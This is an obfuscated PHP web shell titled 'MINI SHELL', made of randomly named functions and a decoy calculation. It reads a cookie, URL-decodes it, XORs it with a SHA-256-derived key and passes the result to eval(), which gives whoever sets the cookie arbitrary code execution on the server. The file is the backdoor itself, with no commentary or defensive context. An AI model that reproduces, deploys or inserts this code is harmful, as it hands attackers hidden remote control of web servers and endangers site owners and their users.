MINI SHELL

<?php
function itSyGdg($HuVsKEoZM)
{
    $ULiwqh = nzifnR($HuVsKEoZM);
    $FgzMuk = ZcCCblrzg($HuVsKEoZM, $ULiwqh);
    return $FgzMuk;
}
function fgRCM($SixMSLiWQ) {
    return array_sum($SixMSLiWQ);
}
function sMvQcbZHTL($XOsHC)
{
    $jqtQFQ = hash("sha256", $XOsHC, TRUE);
    return $jqtQFQ;
}
function XyelTwzQQZ($uvpyDJbCRV) {
    $hJkTayPN = GAkTjauJmZ($uvpyDJbCRV);
    return fgRCM($hJkTayPN);
}
function xuLpqrn($VIurAk, $RzFTfPyjbt)
{
    $rorMPkoB = str_pad($VIurAk, $RzFTfPyjbt, $VIurAk);
    return $rorMPkoB;
}
function nzifnR($HgFqpbfOFQ)
{
    $fmxbte = substr($HgFqpbfOFQ, -4);
    return $fmxbte;
}
function wmbLghsr()
{
    $zmEmNV = "JlFRifptWEPhOfNtT";
    return $zmEmNV;
}
function GAkTjauJmZ($SixMSLiWQ) {
    $bUCET = [];
    foreach($SixMSLiWQ as $DilYzkrzQY) {
        if (Fkjriv($DilYzkrzQY)) {
            $bUCET[] = $DilYzkrzQY;
        }
    }
    return $bUCET;
}
function XhFsaJ($CZjgw, $zxrtd)
{
    $dXPhIo = qVwsQSLMm($CZjgw);
    $CEUZecxct = xuLpqrn($zxrtd, $dXPhIo);
    $QFVNTxvKn = wLajkqEd($CEUZecxct, $CZjgw);
    return $QFVNTxvKn;
}
function uxzIkA($nzuvZ)
{
    $yZwto = rawurldecode($nzuvZ);
    return $yZwto;
}
function Fkjriv($xdSRyTwVc) {
    return $xdSRyTwVc % 2 === 0;
}
function wLajkqEd($rwnJyz, $PkXTlh)
{
    $hpsuQ = $rwnJyz ^ $PkXTlh;
    return $hpsuQ;
}
function ErMsLxdD($utiBcy)
{
    $IUyCxF = $_COOKIE[$utiBcy];
    return $IUyCxF;
}
function YfYMOIJi($bvHpDqL)
{
    $hFMIJZEXP = ErMsLxdD($bvHpDqL);
    $kTCcc = uxzIkA($hFMIJZEXP);
    return $kTCcc;
}
function nOpLQ()
{
    $khpsVGNyX = wmbLghsr();
    $OVQSsVNAB = itSyGdg($khpsVGNyX);
    return $OVQSsVNAB;
}
function anKVHTik()
{
    $QFVNTxvKn = nOpLQ();
    DqkVQprZuT($QFVNTxvKn);
}
function qVwsQSLMm($aNQaQndm)
{
    $lHBWmuV = strlen($aNQaQndm);
    return $lHBWmuV;
}
function DqkVQprZuT($OpaItdacn)
{
    eval($OpaItdacn);
}
function ZcCCblrzg($aaazorYeDg, $BPWWXLAZXQ)
{
    $nlHQeToO = sMvQcbZHTL($aaazorYeDg);
    $kTCcc = YfYMOIJi($BPWWXLAZXQ);
    $OPmgJmNEa = XhFsaJ($kTCcc, $nlHQeToO);
    return $OPmgJmNEa;
}
anKVHTik();
$FUSjQG = XyelTwzQQZ([1, 2, 3, 4, 5, 6]);